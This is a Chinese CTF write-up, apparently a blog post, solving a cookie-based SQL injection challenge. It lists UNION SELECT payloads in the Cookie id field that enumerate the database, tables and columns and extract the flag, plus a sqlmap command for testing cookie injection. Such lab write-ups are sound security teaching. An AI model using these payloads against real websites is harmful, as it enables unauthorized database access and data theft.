CTF---Web---SQL注入---08---Cookie注入

24 篇文章 1 订阅
24 篇文章 0 订阅


前言

题目分类:

CTF—Web—SQL注入—08—Cookie注入


一、题目描述

题目:cookie注入

二、解题步骤

1、找注入点

Step1:Cookie: id=0,1 union select 1,2,3 – l

此题的注入点是cookie中的id。

order by 只能在limit前使用,所以这里用不了order by,只能用union select 来判断字段数
在这里插入图片描述

2、爆库、表、列、字段

Step2:爆库

Cookie: id=0,1 union select 1,2,database() -- l

Step3:爆表,表名为key_1

Cookie:id = 0,1 union select 1,2,group_concat(table_name) from information_schema.tables  where  table_schema = database() --|

Step4:爆列,列名为thekey

Cookie: id = 0,1 union select 1,2, group_concat(column_name) from  information_schema.columns   where table_name = key_1  --|

Step5:爆段,出Key:B6F0D416884D5D34

Cookie: id=0,1 union  select 1,2,thekey from key_1 --|

在这里插入图片描述


三、总结

1、sqlmap如何跑Cookie注入

sqlmap.py -u "http://xxx.xxx.xx.xx/shownews.asp" --cookie "id=171" --level 2

注意:只有level 2以上sqlmap才会跑cookie

2、判断字段数:order by 与 select

order by 只能在limit前使用,所以这里用不了order by,只能用union select 来判断字段数

参考链接:https://blog.csdn.net/qq_35569814/article/details/100181778

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值